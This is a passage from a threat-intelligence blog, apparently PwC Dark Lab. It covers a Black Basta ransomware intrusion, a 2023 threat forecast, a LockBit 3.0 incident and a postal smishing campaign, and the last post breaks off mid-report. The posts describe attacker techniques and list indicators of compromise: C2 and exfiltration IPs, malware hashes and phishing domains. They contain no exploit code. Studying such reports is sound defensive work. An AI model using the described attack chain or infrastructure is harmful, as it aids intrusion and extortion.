Black Basta is a Russian-speaking ransomware group that operates as a Ransomware-as-a-Service (RaaS) affiliate network. First observed in early 2022, Black Basta is an evolution of the Conti ransomware, offering both Windows and Linux ransomware variants and known to perform double extortion – data encryption and listing stolen data on their leak site unless ransom demands are met. [7] To date, the group have been observed to compromise at least 193 victims across geographies and industries, as listed on their data leak site. Observations of Black Basta’s targeting history indicates no specific targeting against industries, reinforcing the group’s opportunistic nature financially driven motives.

Escalating Privileges

Post-infiltration via Qakbot, the suspected Black Basta affiliate established a call back connection to their C2 server and subsequently performed credential dumping to successfully obtain administrator access on the victim’s Domain Controller server.

Establishing Persistence and Lateral Movement

The affiliate proceeded to implant multiple backdoors to and leveraged domain administrator privileges to perform remote desktop protocol (RDP) via a PowerShell payload execution to establish persistence, gain remote control of the compromised hosts and laterally move across environments. Notably, we observed that the affiliate was capable of performing a cross-domain attack, compromising victims across geographical regions.

Defense Evasion

To evade detection, the threat actor disabled the Wazuh agent, an open-source security monitoring solution commonly leveraged by enterprise users as their Extended Detection and Response (XDR) and Security Information and Event Management (SIEM) logging platform.

Impact

Once defences were impaired, the affiliate proceeded to deploy the Black Basta ransomware on compromised environments by abusing rundll32.exe to stealthily execute the ransomware via proxy execution. In one instance, the actor was observed to utilise Secure File Transfer Protocol (SFTP) to exfiltrate data from the compromised server to a cloud-hosted server on Digital Ocean (142.93.198[.]225), though no compromised victim data was observed to be listed on Black Basta’s leak site.

As with all RaaS leak sites, we are unable to ascertain if the threat actor lists all their victims on their leak site. Though, per our experience, this is unlikely for a variety of reasons. Per our analysis of the Black Basta leak site, we noted that zero and partial (e.g. 30%) of complete publishing of data is possible. While there is no way to effectively prove the disclosed percentage of leakage, this suggests that Black Basta may choose to leak data in phases as part of their double extortion technique.

Meanwhile, anecdotal analysis of the published victims listed on the leak site indicates that previous victims that publicly announced the breach had a lead time of between one to three weeks prior to being listed on Black Basta’s leak site. While we do not have evidence to suggest that certain victims may not be listed, we assess the likelihood of Black Basta leaking data of undisclosed victims beyond the three-week period to be relatively lower, though not impossible given our previous experience with RaaS groups and cybercriminals.

Conclusion

Based on the findings of our investigation, PwC’s Dark Lab posits with high confidence that an affiliate of the Black Basta ransomware cybercriminal group were likely behind the incident. The incident was observed to take place within a short timeframe, with malicious actor(s) infiltrating the victim’s environment and subsequently escalating privileges on day one of the attack, followed by lateral movement, ransomware execution, and data exfiltration on day two. Given the timeliness of the incident, we posit the attacker intentionally targeted the victim during the holiday period under the assumption that the victim had limited capacity to detect and respond to their attack.

Recommendations

As RaaS groups continuously persist and evolve their attack vectors, it is vital that organisations implement robust, layered defence strategies based on the concept of zero trust.

  • Develop and maintain a contingency plan for holiday periods with expected limitations of manpower and capacity, ensuring allocated on-call members are regularly briefed on the incident response measures in case of attack
  • Implement a zero-trust security architecture to limit the likelihood of successful intrusion and/or containment of potentially impending attacks
  • Enhance email security controls (e.g., anti-phishing controls, sandbox analysis, etc.) on email security gateways and network devices (including external firewalls, web proxies)
  • Educate your employees, particularly those in roles that regularly interact with unknown senders (e.g., sales, customer service, human resources, finance, etc.) of the potential indicators to identify and report potential email thread hijacking attempts (e.g., spoofed senders, old email threads, partially scrubbed email addresses, malformed replies, repetitive use of the same harvested legitimate email, etc.).
  • Maintain “tertiary” offline backups (i.e., tertiary backup) that are encrypted and immutable (i.e., cannot be altered or deleted). This should be atop of your existing secondary data backups that should adopt security best practices, in particular network segmentation with your production and/or primary site
  • Perform a review of access management with respect to identity and network access (e.g., removal of legacy and unused accounts, housekeeping of privileges for all accounts, and enforce network segmentation to tighten access to key servers)
  • Enforce network segmentation, including identity segmentation in line with zero trust policies to restrict access based on identities, to reduce your attack surface and contain the potential impact of a ransomware attack

MITRE ATT&CK TTPs Leveraged

We include the observed MITRE ATT&CK tactics and techniques elaborated from part one of the blogpost. We will expand this list as we deep-dive into the affiliates’ TTPs as observed from our incident response experience in Q1 2022.

  • T1588.001 Obtain Capabilities: Malware
  • T1586 Compromise Accounts: Email Accounts
  • T1566.002 Phishing: Spear Phishing Link
  • T1199 Trusted Relationship
  • T1059.001 Command and Scripting Interpreter: PowerShell
  • T1204 User Execution
  • T1078.002 Valid Accounts: Domain Accounts
  • T1562.001 Impair Defenses: Disable or Modify Tools
  • T1021.002 Remote Services: SMB/Windows Admin Shares
  • T1428 Exploitation of Remote Services
  • T1003.006 OS Credential Dumping: DCSync
  • T1572 Protocol Tunneling
  • T1071 Application Layer Protocol: Cobalt Strike Beacon
  • T1041 Exfiltration Over C2 Channel
  • T1486 Data Encrypted for Impact

Indicators of Compromise (IoCs)

We include the observed IoCs in our encounter with Qakbot and Black Basta.

IndicatorFile Type
37bf163c9a37e27cdbb8c5db31457063​Malicious Compiled Script (DLL)
142.93.198[.]225​IP Address – Resolving to Digital Ocean
50.67.17[.]92​Known-Bad IP – Associated with Qakbot Campaigns
149.74.159[.]67​Known-Bad IP – Associated with Qakbot Campaigns
24.69.84[.]237​Known-Bad IP – Associated with Qakbot Campaigns
70.51.136[.]204​Known-Bad IP – Associated with Qakbot Campaigns
38.166.221[.]92​Known-Bad IP – Associated with Qakbot Campaigns
108.62.118[.]131​Known-Bad IP​ – Cobalt Strike C2 Server
173.76.49[.]61​Known-Bad IP – Associated with Qakbot Campaigns
23.106.223[.]214​C2 IP

Further information

Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.

Forecasting the Cyber Threat Landscape: What to Expect in 2023

Posted on by darklabhk

In a blink of an eye, 2023 is upon us. As we bid farewell to another record-breaking year of increased disclosed vulnerabilities, ransomware incidents, phishing scams, data breaches, and crypto heists, it is hard not to imagine that this year will be any less eventful as threat actors aggressively lower the barriers to entry of “cybercriminalism” by crowdsourcing their tasks. Based on PwC Dark Lab’s observations throughout 2022, we share our assessment of the potentially most prevalent threats and potential trends in the upcoming year.

Hackers will weaponise exploits at an even faster rate and scale to bypass heightened controls, thus achieving near-instant impact beyond initial access

Threat actors have demonstrated their increasing sophistication in speed and scale through the decreased timeframe required to weaponise critical vulnerabilities. In 2022, threat actors were able to weaponise critical vulnerabilities such as Zimbra Collaboration arbitrary memcache command injection (CVE-2022-27924) and FortiOS authentication bypass (CVE-2022-40684) within three (3) days of the Proof-of-Concepts (POCs) being published to perform unauthenticated remote code execution. In extreme cases such as Log4Shell (CVE-2021-44228), we observed that the weaponisation occurred a mere eight (8) hours after public release from our first incident response of the year (read more here).

Part of the reason why threat actors need to go faster is due to improved security controls of service providers. For example, Microsoft announced in February 2022 that Microsoft Office would automatically block Visual Basic Applications (VBA) macros in all downloaded documents by default in a phased rollout approach between April and June. As a result, we observed threat actors expeditiously developing novel exploits to perform client-site execution that bypasses the newly introduced security controls. [1] This includes the Mark-of-the-Web (MOTW) vulnerability (CVE-2022-44698) which allows for specially crafted ZIP and ISO files to be downloaded and executed without undergoing integrity checks on the user’s endpoint. [2] PwC’s Dark Lab has actively responded to an incident in August 2022 that observed the threat actor deploying Magniber ransomware after exploiting the MOTW vulnerability.

Meanwhile, exploit toolkits are not new but are being matured to an extent where threat actors of all sophistication can utilise to achieve near-instant impact beyond just initial access. In the cases of Zimbra (CVE-2022-27924) and FortiOS (CVE-2022-40684), our incident response experience suggests that threat actors likely leveraged exploit toolkits to automatically chain the POC exploit with standardised steps to establish persistence, perform discovery, move laterally, and achieve elevated privileges if applicable. As a result, victims that did not swiftly apply patches or workarounds to mitigate the risks associated with critical vulnerabilities likely needed to conduct intelligence-led threat hunting to ensure that their environment was not further impacted in any way.

We hypothesise that the rate and scale of weaponisation would further increase as threat actors look to find novel means to bypass increasingly mature security controls at an organisation’s external perimeter, aided by threat actors maturing their automated toolkits to maximise impact upon initial access. The number of vulnerabilities in 2022 had already grown at an inexorable rate of 25 percent from the previous year from 20,171 to 25,226[3], including the SonicWall SSL VPN post-authentication arbitrary file read vulnerability zero-day (CVE-2022-22279) [4] that Dark Lab discovered in an incident response case by the LockBit Ransomware-as-a-Service (RaaS) group in March 2022 (read more here). In that case, we uncovered during our incident response that the exploit code was actively being circulated and discussed on dark web forums in February 2022 and actively weaponised by several threat actors several days after disclosure to circumvent multi-factor authentication (MFA) access controls if they had access to valid credentials.

Human-operated ransomware threat actors will increase their sophistication to make-up the shortfalls of the Crypto winter

Human-operated ransomware attacks have dominated the cyber threat landscape over the past three years, booming just prior to the wake of the Covid-19 pandemic in 2020. This is largely attributed to the rise of RaaS, such as LockBit 3.0 and BlackCat who have lowered the barriers to entry for low-level threat actors by providing a subscription-based affiliate model offering custom-developed ransomware packages.

Even as the cryptocurrency markets falter, our monitoring of the overall number of listed victims on ransomware group leak sites has not dropped significantly throughout 2022. To put this into context, since the downfall of the prominent industry-leading cryptocurrency exchange FTX [5], Bitcoin and other cryptocurrencies were down almost 70 percent relative to the start of the year. However, their value remains significantly higher in comparison to 2020 levels, suggesting that ransomware groups will not disappear.

We posit that ransomware attacks will continue to rise as threat actors look to increase their victim list to make up for the staggering decline in the value of cryptocurrencies and the extreme market volatility. Simple economics suggests that threat actors would need to make up their shortfall in cryptocurrency value decline by either increasing the ransom pay-out rate (i.e., probability) or increasing the number of victims (i.e., supply). As organisations’ defenses become more advanced, cybercriminals may also need to shift to more sophisticated techniques to achieve initial access. In a recent incident response, we also observed the RaaS group Black Basta achieve initial access via a mass-scale phishing campaign before deploying ransomware (read more in a future blog post!). We expect more of the same in 2023.

The race for talent is on – threat actors are collaborating, crowdsourcing, and leveraging artificial intelligence (AI) to innovate. Enterprises will level the playing field by embracing “learn to hack” and “hack to earn” concept.

Threat actors have always been looking to gain a competitive advantage by specialising and crowdsourcing their skillsets. In 2022, our dark web monitoring allowed us to observe a 400 percent increase in listings of Initial Access Brokers (IABs), which are specialised cybercriminals that sells access to compromised networks. This outsourcing model allows other cybercriminals, such as affiliates of RaaS groups including BlackCat/ALPHV, to focus on their domain expertise (read more here). This demonstrates that this model was effective to a large extent.

However, talent has never been more scarce. Innovative threat actors have resorted to other channels for growth and inspiration. For example, other RaaS groups such as LockBit 3.0 RaaS group introduced the first bug bounty programme offered by cybercriminals. This included up to US$ 1 million for hackers of all backgrounds should they identify critical flaws in their malware, tools, or infrastructure. [6] Other threat actors have been observed from our dark web monitoring to host regular hackathons promising prize pools of up to one (1) Bitcoin for technology-specific POCs. Finally, the introduction of new tools such as ChatGPT has pushed the barrier to entry to a much lower level, and it has never been easier for script kiddies to weaponise their exploits.

We theorise that threat actors would further seek out various means to improve their competitive advantage, including collaboration and crowdsourcing. This was already an existing trend due to the RaaS affiliate model and attack-as-a-service models such as IABs, but is being disrupted by bug bounty programmes, hackathons, and artificial intelligence as a means to overcome the global cybersecurity talent shortage and skills gap. [7] As a result, enterprises are now facing an uphill battle against threat actors that are led by organisations that are harnessing the power of the people. To level the playing field, we also expect that enterprises will explore how to embrace the “learn to hack” and “hack to earn” concepts. We posit that leading enterprises will participate in bug bounty programmes and shift away from regular vulnerability scans and penetration testing to continuous assessment by bounty hunters who may not be affiliated with any vendor. Meanwhile, we also expect to see the establishment of cyber academies with the intention of democratising security through the re-skilling and upskilling pf all interested individuals regardless of their technical background. This would also provide enterprises with a new talent pipeline to ensure we have sufficient resources to fight back against “cybercriminalism”.

Web-based exploitation and targeting of individual consumers will follow-up on the hype of metaverse and the web3 ecosystem

The metaverse has quickly gone from concept to working reality in the past years. A lot of talk in 2022 was focused on simulating physical operations on the metaverse activities through games, virtual experiences or shopping with cryptocurrency and other digital assets. These experiences are underpinned by technologies such as virtual reality (VR), augmented reality (AR) devices, and artificial intelligence (AI), which naturally introduce new risks and accentuates old ones due to interoperable platforms in web3. [8] In particular, phishing email and messaging scams are already successfully leveraged by threat actors to steal passwords, private keys, personal information and money. In the metaverse, that could be even easier, especially if people think they are speaking to the physical representation of somebody they know and trust, when it could be someone else entirely. [9]

We posit that 2023 would be the year where threat actors, in particular cybercriminals, make a large jump towards targeting both businesses and individual consumers, with an increased focus to exploit web-based vulnerabilities for initial access as a result of the growing connectivity and digitalisation. We had already observed this uprising trend in late 2022 with large-scale global smishing campaigns targeting Hong Kong and Singapore citizens by masquerading as trusted and reputable locally-based public and private postal service providers (read more here). The metaverse and web3 exacerbates consumer-targeting and introduces new vulnerabilities to an increased attack surface. Aside from smart contract weaknesses, further web-application based vulnerabilities such as Spring4Shell (CVE-2022-22965) is expected to be discovered, weaponised, and utilised by threat actors to deploy cryptocurrency miners. [10] PwC’s Dark Lab had uncovered the Spring4Shell POC on the dark web two days prior to the disclosure of the zero-day vulnerability (read more here), which further emphasises on the notion that the rate of weaponisation continues to accelerate from weeks to days or even hours.

Recommendations to Secure Your 2023

There is no telling with certainty what 2023 holds, but our experience with the challenges of 2022 teach us a number of valuable lessons on how organisations can harden their cyber security posture to protect against a multitude of attack vectors.

  • Grow selective hands-on technical capabilities in-house, and look to outsource and crowdsource your organisation’s security –
    • Get started with bug bounty programmes: organisations should look to emulate threat actors’ by crowdsourcing specific parts of their security initiatives. In particular, organisations should explore onboarding to bug bounty programmes as it leverages the competitive advantage of the community to identify potential vulnerabilities and misconfigurations rapidly and continuously in their external perimeter. This would level the playing field, and ensure that enterprises are not alone in facing threats from threat actors groups and their affiliates by themselves. If this route were pursued, organisations should ensure they have proper governance and processes (e.g., Vulnerability Disclosure Policy) to ensure responsible disclosure of potential vulnerabilities by bounty hunters.
    • Upskill and reskill your current workforce’s technical capabilities: organisations should not just rely on purely outsourcing security tasks, given there is a global shortage of talent. Instead, they should look for practical hands-on technical courses that would upskill and/or reskill their existing workforce to be more proficient in cyber threat operations, including but not limited to offensive security, security operations, incident response, threat intelligence, and threat and vulnerability management.
  • Enforce a Layered Intrusion Defense Strategy
    • Continuously Discover and Harden Your Attack Surface: organisations should prioritise efforts to evaluate their attack surface exposure by reviewing public-facing services and technologies in order to assess the potential risks of internet-facing services and making necessary countermeasures to eliminate the risk, such as reducing internet-exposed infrastructure, network segmentation, or decoupling the demilitarised zone from the internal network.
    • Protect Privileged Accounts: as we observe threat actors pivot targeting to end users, it is critical to enforce strong credential protection and management strategies and solutions to limit credential theft and abuse. This includes leveraging technologies such as account tiering and managed services accounts, enforcing multi-factor authentication (MFA), credential hardening from privileged accounts, and regular reviewing of access rights ensuring that all practices align with zero trust and least privilege policies.
    • Review and Strengthen Email Security: review current email solution configurations to ensure coverage from preventative security solutions (including external firewalls and web proxies) and implementation of conditional access rules to restrict access of suspicious activity. Consider hardening email security by leveraging artificial intelligence and machine learning technologies to augment the authentication process and create an additional barrier to restrict potential threats from bypassing detecting and delivering to the victim.
    • Identifying and Protecting Critical Internal Systems: threat actors target critical systems (i.e. Domain Controllers, local and cloud backup servers, file servers, antivirus servers) that house highly sensitive information, which observed in various incidents were not protected by EDR solutions. It is crucial that organisations secure critical systems by enforcing heightened approach to devising security strategies for critical assets – including EDR, stringent patching standards, network segmentation and regular monitoring for anomolies and/or indicators of compromise.
    • Defending Against Lateral Movement: the majority of threat actors moving across network rely on mechanisms that are relatively easy to disrupt with security restrictions such as restriction of remote desktop protocol between user zones, network zoning for legacy systems, segmenting dedicated applications with limited users, and disabling Windows Remote Management, among others.
  • Continuously Assess your Attack Surface Exposure to understand what threats present the most prevalent challenges to your organisations and uplift preventive and detective strategies to protect against likely threats.
    • Establish a robust attack surface management programme to continuously identify potential vulnerabilities on your public-facing applications, discover potential shadow IT, and stay alert to potential security risks as a result of the changing threat landscape (e.g., newly registered domains that may look to impersonate your organisation). External-facing assets should be protected with the relevant security solutions and policies to prevent, detect, and restrict malicious activity, as well as to facilitate rapid response and recovery in the case of a breach.
    • Perform threat modelling to identify the threat actor groups most likely to target your region and/or sector, map your attack surface to the identified potential threats to assess how a threat actor could exploit your attack surface, and develop a plan of action to minimise that threat exposure. Regardless of whether there was a breach or not, we also recommend organisations conduct iterative intelligence-led threat hunting using the outputs of the threat modelling. As a result, the threat model also needs to be updated on a regular basis (i.e., several times a year, if not already continuously).
    • Establish continuous dark web monitoring to discover if there are data breaches related to your organisation, as well as if threat actors such as IABs looking to sell access to compromised accounts and breached external assets such as web applications and web servers.
  • Adopt a ‘Shift Left’ Mindset – embed cybersecurity at the forefront of innovation and implementation of new platforms, products, as well as the adoption of cloud or software solutions.
    • DevSecOps: embedding cybersecurity considerations from the initial development stage enables developers to identify and address bugs and security challenges early in the development progress, strengthening the security posture of the platform to reduce vulnerabilities and attack surface exposure.
    • Adoption of new technologies: the shift left mindset can also be applied to the adoption of cloud, security, and other software solutions. Organisations should be maintain oversight and awareness of new technologies being deployed in their network, assess the scope and coverage of the solutions, and subsequently develop a process to assess the security implications and risks of using these technologies.

Further information

Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.

LockBit 3.0: New Capabilities Unlocked

Posted on by darklabhk

LockBit persists as the most prominent Ransomware-as-a-Service (RaaS) groups in 2022, showcasing heightened capabilities in their LockBit 3.0 iteration and a persistent nature to continuously evolve.

As the LockBit RaaS group re-emerges with their new and improved ransomware, LockBit 3.0 (also known as LockBit Black), we observed new capabilities and a heightened sophistication based on their increased frequency of attack and speed to impact, posing an ever-growing threat to organisations worldwide.

PwC’s Dark Lab observed over 860 breaches between 1 October 2021 and 31 October 2022 attributed to the LockBit RaaS group. 19% of global LockBit incidents impacted the Asia Pacific (APAC) region, with industries most prominently targeted in the region being Professional Services and Manufacturing Services, comprising 44% of total incidents observed in APAC. Despite this, we assess they are still opportunistic by nature and these statistics reflect that potentially certain industries are more likely victims potentially due to their overall lower maturity of controls when compared to regulated industries.

Figure 1: Dark Lab Observed Over 860 LockBit Incidents from LockBit’s Leak Site between October 2021 and October 2022

Figure 2: Industry Breakdown of LockBit Targeting in APAC according to LockBit’s Leak Site

Comprising approximately 40% of all ransomware attacks against APAC observed between 1 October 2021 and 31 October 2022, LockBit presents a persistent threat to the region. This blog extends from our previous blogs covering LockBit 2.0 to focus on the new 3.0 iteration, highlighting novel tactics, techniques, and procedures (TTPs) observed in Dark Lab’s recent incident. [1] [2]

A Recent Encounter with LockBit 3.0

In Q3 2022, PwC’s Dark Lab responded and contained a ransomware attack against a Chinese multinational conglomerate. Attributed to the LockBit 3.0 RaaS group, this was concluded with high confidence based on a number of key indicators, aligning with LockBit’s typical attack vector.

Firstly, similar to previous LockBit 2.0 incidents observed by PwC’s Dark Lab, the vulnerability exploited to obtain valid credentials was a SSL VPN vulnerability. In this instance, CVE-2018-13379 was exploited – a vulnerability in Fortinet’s outdated FortiOS and FortiProxy versions whereby an authenticated attacker may exploit the SSL VPN web portal to download system files using custom HTTP requests. [3]

Secondly, PwC’s Dark Lab discovered the presence of the LockBit executable file .lockbit and the StealBit.exe information stealer tool in the compromised environment, both of which are commonly deployed malwares by the LockBit RaaS group. [4]

FilenameLockBit.exe
MD5ad2918181f609861ccb7bda8ebcb10e5
File TypeWin32 EXE
File Size163,328 bytes
FilenameStealbit.exe
MD572e3efc9f6c7e36a7fb498ab4b9814ac
File TypeWin32 EXE
File Size441,856 bytes

StealBit.exe is a versatile, configurable information stealer with observed customisable configurations including the ability to specify network limit, maximum file size, filtering of files by keywords and file extensions, and optional features such as self-deletion and ScanShares.

A notable observation of the StealBit.exe running process was the list of keywords to filter and identify files for exfiltration, including keywords used to target files relating to specified insurance companies. Dark Lab hypothesises StealBit.exe was used to target information on the victim organisation’s insurance policy to understand their coverage pertaining to data breaches and ransomware attacks and adapt their ransom price accordingly. We posit this is a means of increasing the likelihood of their demanded ransom payment by targeting the victim’s insurance coverage, meaning that ransom payment would be covered by the insurance company, rather than the victim itself. Further, we observe keywords such as ‘violation’, ‘tax’, ‘evasion’, likely to collect evidence of the targeted victim’s misconduct to use as blackmail in the event the victim refuses to pay the ransom.

In examining the encryption process of lockbit.exe, we observed the total encryption speed of 3.8 minutes for 3,957 files (total file size 3080.16 mega byes), approximating an encryption speed of 13.6 megabytes per second. This comparatively fast encryption speed shows heightened capability of the LockBit ransomware, observed by various security researchers to have the highest encryption speed across ransomwares. [5]

Thirdly, Dark Lab observed a notable differentiator in comparison with previous LockBit 2.0 encounters – the presence of legacy RaaS group, BlackMatter’s code embedded in the LockBit codebase, signifying that the LockBit 3.0 iteration was executed in this incident. BlackMatter is a notorious RaaS group active from July 2021 to October 2021 known for targeting the U.S. health sector and suspected to be a rebranding of the DarkSide RaaS group. [6]

As observed by security researchers in the wake of LockBit 3.0, the new iteration of LockBit appears to borrow code from the legacy group with notable new features adopted from BlackMatter. This was further validated in an interview with the alleged LockBit founder, confirming that in preparation of LockBit 3.0, the group purchased the BlackMatter source code to enhance the ransomware. [7] Features utilised from the BlackMatter source code include API harvesting for privileged escalation, self-deletion of shadow copies using WMI via COM objects and the elimination of pre-existing bugs. [8]

Further investigation into the lockbit.exe executable file confirmed traces to LockBit 3.0. As evidenced below, the malware is a known malicious file matching YARA rules pinpointing relations to LockBit and BlackMatter respectively.

Figure 3: VirusTotal flagged that the LockBit executable file indicated matches to LockBit and BlackMatter
Figure 4: Evidence of LockBit 3.0 ransomware deployed in incident “95ddbeacd79ad7d944e75f55ca323a13076b756c4accefd28e206a76b3ea268b”  and confirmed association with BlackMatter

The Future of LockBit

The LockBit RaaS group has proven persistence and no means of halting operations. This is observed in the first-ever ransomware bug bounty program launched by the group in June 2022, awarding up to US$1 million to anyone able to identify critical bugs or provide innovative ideas to enhance their LockBit 3.0 ransomware. This not only exemplifies their financial viability, but it implies their intention to continue enhancing their offerings as a means of providing high consumer confidence and to retain and grow their affiliate base.

Figure 5: Screenshot of LockBit’s Bug Bounty Program Advertised on their Leak Site
Figure 6: Screenshot of LockBit’s Bug Bounty Program Advertised on their Leak Site

LockBit is recognised as a leader in the RaaS landscape, offering one of the best affiliate recruitment programs. This is largely due to their unique payment structure which favours affiliates and their lack of political association. [9] In an interview with an alleged LockBit member held in July 2022, the LockBit representative accredits their successful affiliate recruitment program to their emphasis on “honesty”, priding themselves as the only affiliate group known to “not touch the ransoms obtained by partners”. [10]

In a more recent interview on 30 October 2022, the blog vx-underground [11] spoke with the alleged founder of LockBit on the affiliate payment structure and origin story of the group. It was confirmed that LockBit’s founding members gain a 20% cut of affiliates’ profits, with this increasing to 30-50% in the event that the affiliate requires additional support from the group in performing negotiations with the targeted victim. The representative further confirmed that LockBit currently comprises of 10 core members (including pen testers, money launderers, testers, and negotiators) and an affiliate base of over 100 affiliates – which they aspire to grow to 300.

As observed in both interviews, LockBit has secured themselves as a market leader in the RaaS landscape due to their favourable payment structure, strong affiliate support system, and neutral political stance. As implied in the latest interview, the group endeavours to continue expanding their affiliate base which will reflect in a continuous enhancing of their ransomware products to differentiate themselves amongst other RaaS operators to attract new joiners. We posit that the RaaS scene will continue to expand as the competitive landscape will drive more effective, enticing ransomware packages – increasing accessibility and scale of operations for financially-driven low skill-levelled hackers – complete with instructions, toolkits, and custom malware to execute large-scale attacks.

Notably, LockBit affiliates are known to re-use known initial access points (e.g. SSL VPN vulnerabilities – Citrix Gateway (CVE-2019-19781), Pulse Secure (CVE-2019-11510), Fortinet FortiOS (CVE-2018-13379)). However, as per our post on LockBit 2.0’s SonicWall exploit to bypass multi-factor authentication (MFA) [12], the group is not averse to deviating from their usual attack path as we observed the affiliate chain a known SQLi vulnerability (CVE-2019-7481 or CVE-2021-20028) with an undisclosed zero-day vulnerability to circumvent the MFA access control of the victim’s SonicWall SRA SSL VPN.

A further evolution in LockBit’s attack path is their announcement to begin executing triple extortion tactics. This is in retaliation of the incident with security company Entrust, in which LockBit’s corporate data leak site was targeted by a Distributed Denial of Service (DDoS) allegedly executed by Entrust to stop Lockbit from leaking Entrust’s compromised data. This prompted LockBit RaaS to announce they will add a third extortion tactic, for maximum impact on targeted victims.

Figure 7: LockBit’s Triple Extortion Attack Path

Conclusion

LockBit 3.0 affiliates work on behalf of the LockBit group to conduct ransomware campaigns against organisations and industries across the globe. As previously posited in our technical analysis of LockBit 2.0 [13], the RaaS group is financially-driven and through these incidents we observed, affiliates with a diversified capability and skillset exploit are observed to exploit SSL VPN vulnerabilities to circumvent the MFA access control and obtain initial access. Organisations are encouraged to review the TTPs leveraged by LockBit affiliates as a result of our recent incident response experience to improve their preventive and detective controls.

Check out our previous LockBit blogs for the full technical analysis:

  • LockBit 2.0 affiliate’s new SonicWall exploit bypasses MFA [14]
  • Technical analysis of LockBit 2.0 affiliates’ SonicWall exploit that bypasses MFA [15]

Recommendations

As RaaS groups continuously persist and evolve their attack vectors, it is vital that organisations implement robust, layered defence strategies based on the concept of zero trust.

Preventative

  • Enforce a layered defence strategy incorporating secure network security protocols (including but not limited to firewall, proxy filtering, intrusion detection systems (IDS), intrusion prevention systems (IPS), secure VPNs and security gateways).
  • Optimising security application configurations for effective coverage, tailoring rules and configurations to business needs, or ensuring that out-of-the-box (OOTB) configurations provide adequate coverage.
  • Update your blacklist with the indicators of compromise (IoCs) shared below and block outgoing network connections to the identified C2 server. We encourage you to visit our previous LockBit blogs for an expansive list of LockBit IoCs identified by PwC’s Dark Lab.
  • Disable unused administrative ports internally, such as Remote Desktop Protocol (RDP).

Detective

  • Identify, detect, and investigate abnormal activity and potential traversal of the threat actor across the network, such as ensuring coverage of Endpoint Detection and Response (EDR) tools on critical endpoints, including workstations, laptops and servers.
  • Regularly scan your network environment for potential vulnerability(s) exposure and remediate immediately, such as deploying available patches, establishing regular schedules updates and periodically reviewing configuration settings for potential misconfigurations.
  • Conduct a search of historical logs to detect for any potential presence in your network environment, ensuring that an alert system is established should any indicators be identified. If any indicators are discovered, it is advised that a digital forensic investigation is conducted to identify the potentially foregone impact, including the compromised information and systems, and apply the appropriate containment and remediation measures.

Indicators of Compromise (IoCs)

We include the observed IoCs in our encounter with LockBit 3.0.

IndicatorFile Type
162[.]214[.]152 [.]179External server of StealBit
72e3efc9f6c7e36a7fb498ab4b9814acStealbit.exe
ad2918181f609861ccb7bda8ebcb10e5Lockbit.exe
131[.]107[.]255[.]255IP Address
23[.]216[.]147[.]64IP Address
20[.]99[.]132[.]105IP Address

Further information

Feel free to contact us at [darklab dot cti at hk dot pwc dot com] for any further information.

Hong Kong and Singapore Citizens Actively Targeted by Large-Scale Global Smishing Campaign

Posted on by darklabhk

PwC’s Dark Lab uncovers a large-scale smishing campaign actively targeting Hong Kong and Singapore citizens by masquerading as trusted and reputable locally based public and private postal service providers.

On 21 September 2022 , PwC’s Dark Lab observed SMS phishing (smishing) activity targeting mobile users in Hong Kong. The message masqueraded as the postal service Hongkong Post – a government department of Hong Kong responsible for postal services – delivering a package to the victim. We posit that the intended purpose was to steal victims’ personally identifiable information (PII) and credit card details, based on similar information posted on social media.

Smishing campaigns via the fraudulent use postal services are far from uncommon and has increased at an alarming rate as a result of the Covid-19 pandemic. We previous reported on a global campaign impacting Hong Kong, Macau, and Singapore users per our March 2022 blogpost “Smells SMiShy to me…”.[1] This latest campaign caught our attention primarily as it seemed to be an active, large-scale smishing campaign impacting multiple Asia Pacific countries, including Hong Kong and Singapore. We release this blog post concurrent to the ongoing campaign to raise awareness among enterprises and individuals and will continue tracking the threat actor’s activities as the campaign progresses.

Impersonating Hongkong Post

On 21 September 2022, PwC’s Dark Lab observed that Hongkong Post’s Track and Trace portal was being imitated by the newly registered domain hkpoieq[.]com. The domain was no more than one (1) day of age, and requested victims to ‘change their delivery address’ for a fake order “AS658237789HK”. We did not observe the domain to have a mail exchanger (MX) record, which indicated that the threat actor did not intend for this domain to be received via email.

Figure 1: Screenshot of the fraudulent Hongkong Post webpage that was hosted on hkpoieq[.]com

Upon further inspection of the domain, we observed that hkpoieq[.]com resolved to the IP address 155[.]94[.]163[.]222. The threat actor subsequently leveraged the same IP address to register an additional three (3) domains between 22 to 29 September 2022 – hkpoist[.]com, hkpoivt[.]com, and hkpoiec[.]com. The domains seemingly adopted a consistent naming convention whereby the alpha-2 ISO country code[2] was prefixed with an additional five (5) seemingly randomised letter characters. These domains were also registered across a short period of time and proceeded to be unresolvable relatively quickly (under 3 days), thus we were not able to obtain further information beyond the first screenshot to verify the objective of the impersonation. The short time in which the domains remained unresolvable meant that security vendors did not have opportune time to detect the domains and IP address as malicious as of the time of writing[3], which increases the challenge to detect and respond in a timely manner.

However, we were able to retrieve a separate smishing message with a separate domain hkrocit[.]com that also impersonated Hongkong Post on 9 October 2022.

Figure 2: Smishing Message from threat actor to Hongkong Post customer. Translation: “The courier delivery failed to be delivered by the courier without a signature. Please update your address at hkrocit[.]com”

Though the naming convention of the domain hkrocit[.]com followed a similar format as hkpoieq[.]com, we could not immediately correlate the two as the second domain resolved to a different IP address 155[.]94[.]140[.]247. Yet upon deeper inspection, we observed that both domains had been registered under the same Internet Service Provider (ISP) QuadraNet Enterprises LLC (QuadraNet) with an Autonomous System Number (ASN) 8100. Furthermore, the threat actor continued the same pattern of operations by registering new domains, though with greater frequency amounting to a total of 12 domains over 14 days (details in the Indicator of Compromise section). As of the time of writing, we have not observed further domains resolving to this IP address since they were flagged malicious on 14 October 2022.[4]

Given both a similar naming convention, a similar ASN and ISP, as well as the similar pattern of newly registered domains impersonating the same service provider, we assess with moderate confidence that it is the same threat actor conducting a persistent smishing campaign targeting Hong Kong citizens.

During our pivoting, we also observed that there were three (3) domains registered between 29 September 2022 and 10 October 2022 that began with “sg” and resolved to 155[.]94[.]140[.]247. We extended our logic that the domain’s first two letters were the alpha-2 ISO country code, and through open-source investigation was able to observe that sgpoist[.]com had previously impersonated Singapore Post Limited (SingPost), which is the designated public postal licensee for Singapore. This gave weight to our hypothesis on the domain naming convention and increased our confidence level that it is a campaign that extends targeting beyond Hong Kong and to other countries such as Singapore.

Figure 3: Observing from records of previously conducted public searches on sgpoist[.]com to validate our hypotheses on the domain naming convention and identifying that the threat actor also impersonated Singapore Post Limited

The Final Confirmation…

